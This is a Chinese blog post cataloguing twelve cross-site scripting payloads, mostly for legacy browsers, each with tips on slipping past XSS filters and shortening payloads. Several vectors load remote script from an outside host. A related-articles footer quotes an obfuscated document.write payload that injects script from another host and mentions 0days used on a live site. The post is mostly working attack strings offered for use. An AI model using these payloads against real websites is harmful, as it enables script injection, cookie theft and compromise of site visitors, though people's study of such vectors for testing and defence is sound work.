12个有趣的 XSS Vector

XSS Vector #1

<script src=/?20.rs></script>

URL中第二个斜杠在Internet Explorer下(测试于IE11)可被U+3031,U+3033,U+3035,U+309D,U+30FC,U+30FD,U+FF70代替。在特定环境下可以帮助测试者绕过一些正则。

XSS Vector #2

<script src=//20.rs async>

这个Vector可以在不闭合script标签的情况下,在IE下(测试于IE11)正常调用远程的JavaScript。不但可以有效地绕过一些无聊的正则,还可以帮助你缩短你的payload。btw,这和后面会不会出现其它的script标签进而导致当前payload被闭合的一类现象无关。

XSS Vector #3

<div style="x: /**/ression(alert(1))(‘\‘)exp\‘)">

IE的一个CSS Parse BUG。在特定情况下可能可以帮助绕过一些XSS的防御正则。by @gainover

XSS Vector #4

<script>/*@cc_on alert(1) @*/</script>

当输出点在多行注视符号之间,切无法结束script标签时,可以借助该Vector在IE下(需要IE版本在10或以前)成功的XSS。

XSS Vector #5

<base href="javascript:\"><a href="//%0aalert(1);//“>Click Me</a>

该Vector在不久前由@irsdl发布。测试在Chrome下有效。

XSS Vector #6

<title>&lt;img src=1 onerror=alert(1)&gt;</title> div.innerHTML = document.getElementsByTagName("title")[0]; // IE8, already-known?

IE8下的又一枚mXSS,最近由@hasegawayosuke发布在了Twitter上。

XSS Vector #7

<picture><source srcset=1><img onerror=alert(1)>

最近由.mario发布在Twitter上。测试在Chrome canary下有效。

XSS Vector #8

<script>‘‘+{valueOf:location, toString:[].join,0:‘javascript:prompt%281%29’,length:1}</script>

这确实是炒冷饭。不过很少见人提到。该Vector同样只在IE下有效。优点就是不需要等号和圆括号。意味着在某些情况下可以帮你简单绕过一些不切实际的XSS Filter进而构造你有效的POC。

XSS Vector #9

<meta http-equiv="X-UA-Compatible" content="IE=9;"><% onclick=alert(1)>click me

该Vector仅在IE9有效。可以看到左尖括号后面紧跟着的并不是字母。但在IE9这依然会被认定为是一个有效的标签。就像我们对大部分的未知标签的理解,我们可以在那些莫名其妙的标签当中使用onclick和onmouse系列的event handler进行XSS跨站攻击。至于可以拿来干什么,仁者见仁吧。

XSS Vector #10

<script>alert`1`</script>

ES6新特性。可以使用backtick来代替圆括号。测试于Firefox Nightly.

XSS Vector #11

<input onresize=alert(1)>

这对于input标签来说应该是最短的Vector了。在IE10下有效。无需autofocus进行辅助和用户交互就可以自动触发。在autofocus被过滤,无法重写type的情况下算是个选项。除此之外对于使用autofocus的vector除了我们熟知的onblur,onfocus等还有几个event handler可以用来XSS。

<iframe src=被xss的页面.htm>

被xss的页面.htm

<input onActivate=alert(2) autofocus>
<input onBeforeActivate=alert(5) autofocus>

在IE10和IE11下有效。当然了,如果可以写入type=image 我们还可以使用onload,onerror这类的event handler。

XSS Vector #12

<iframe src=test.htm> <input type=hidden style=x:expression(alert(1))> 测试于IE6-9 by @Sogili
<form><input type=hidden onforminput=alert(‘what?‘)><input></form> 测试于Opera12
<svg><input type=hidden onload=alert(1)> //测试于safari7.0.6

有些是冷面,有些需要用户交互,有些你可能并不认为是bypass。仁者见仁吧。该Vector的重点在于type=hidden。

时间: 2024-08-28 23:43:47

12个有趣的 XSS Vector的相关文章

(转) exp1:// 一次有趣的XSS漏洞挖掘分析(1)

from http://www.cnblogs.com/hookjoy/p/3503786.html 一次有趣的XSS漏洞挖掘分析(1) 最近认识了个新朋友,天天找我搞XSS.搞了三天,感觉这一套程序还是很有意思的.因为是过去式的文章,所以没有图.但是希望把经验分享出来,可以帮到和我一样爱好XSS的朋友.我个人偏爱富文本XSS,因为很有趣.有趣的地方是你需要一点一点的测试都过滤了些什么,怎么过滤的.我想,这也是黑盒测试最让人着迷的地方吧    首先,锁定了提交问题的模块,因为这块有编辑器.然后开

12个有趣的C语言问答(详解)

本文参照博文<12个有趣的C语言问答>,在原文的基础上增加来对应的知识点的详细介绍. 1 gets()方法 Q:下面的代码有一个被隐藏的问题,你能找到它吗? 1 #include <stdio.h> 2 3 int main(void) 4 { 5 char buff[10]; 6 memset(buff, 0, sizeof(buff)); 7 gets(buff); 8 printf("%s\n", buff); 9 10 return 0; 11 } A:

(转) exp1-2://一次有趣的XSS漏洞挖掘分析(2)

第一次和一套程序做了这么多次的斗争.今天基友又给我来信说,没得玩了.了解了下情况,是他拿着0day到处插,被人家发现了.还出了个公告,说所有***必须安装补丁.呵呵,性福总是走的这么突然.这乐子一下就让人给搞没了.本来想的就算了.但是突然觉得还是想看看程序员是怎么修复的.(说实话,搞了那么多天也有感情了不是) <p onmouseover="\u0064ocument.write('<sc'+'ript src=//zsy.ca/33></sc'+'ript>')&

12个有趣的C语言面试题及答案

12个C语言面试题,涉及指针.进程.运算.结构体.函数.内存,看看你能做出几个! 1.gets()函数 问:请找出下面代码里的问题: #include<stdio.h> int main(void) { char buff[10]; memset(buff,0,sizeof(buff)); gets(buff); printf("\n The buffer entered is [%s]\n",buff); return 0; } 答:上面代码里的问题在于函数gets()的

(转) exp1-3://一次有趣的XSS漏洞挖掘分析(3)最终篇

这真是最后一次了.真的再不逗这个程序员了.和预期一样,勤奋的程序员今天又更新程序了.因为前面写的payload都有一个致命的弱点,就是document.write()会完全破坏DOM结构.而且再“完事儿”之后,还不会跳转到本应该跳转的页面.所以还是那么容易就被发现了.(也包括我犯贱老找别人网站做测试)反思 昨天在去便利店买烟的时候,发现了自己犯的一个错误.就当是纠正一下前面的2篇吧.当我们的JS是在script标签内的时候,像这样: <script>document.write(123)<

12个有趣面试题(C语言)

1.gets()函数 #include<stdio.h> int main(int argc, char *argv[]) { char buff[10]; memset(buff, 0, sizeof(buff)); gets(buff); printf("\n The buffer entered is [%s]\n",buff); return 0; } 答:上面代码里的问题在于函数gets()的使用,这个函数从stdin接收一个字符串而不检查它所复制的缓存的容积,这

exp2:// 一次存储型XSS从易到难的挖掘过程

一日在某站点发现一个找茬活动,感觉是另类的src就参与了一下.就发生了这次有趣的XSS测试过程. 0×00 开始 (注意1)XSS不仅存在于页面上直观所在的位置,所有用户输入的信息都有可能通过不同形式返回到页面上,因此直接操作数据包来查找XSS显得更加有效. 回到该站点,在该站点一处生成app处存在一处忘记过滤. 发送的数据包如下: appName=TEST&icon=&loadimage=%2Ftemplate201309%2F29%2Floadimage%2F1a8aaba1-42bd

C++ STL学习——vector

学过C++的人肯定会很熟悉STL标准模板库,STL其实就是封装了一系列的接口,供我们调用.很多函数或者算法的实现不需要我们从头开始写,大大提高我们的编程效率.这篇博客在简单介绍STL的情况下,会详细的来介绍vector的使用. STL共有六大组件: 一.容器(Container):是一种数据结构,如list,vector,deque,queue等,以模板类的方法提供,为了访问容器中的数据,可以使用由容器类提供的迭代器. 二.迭代器(Iterator):提供了访问容器中对象的方法. 三.算法(Al

跨站点脚本攻击(XSS)

XSS分类: (1)反射型XSS:只是简单地把用户输入的数据反射给浏览器.往往需要诱使用户"点击"一个恶意链接.也叫"非持久型XSS" (2)存储型XSS:把用户输入的数据"存储"在服务器端.也叫"持久型XSS" (3)DOM Based XSS:从效果上来说也是反射型XSS,通过修改页面的DOM结点形成的XSS. 1.cookie劫持:httponly或者将cookie和客户端IP绑定可防止 2.XSSPayload: (1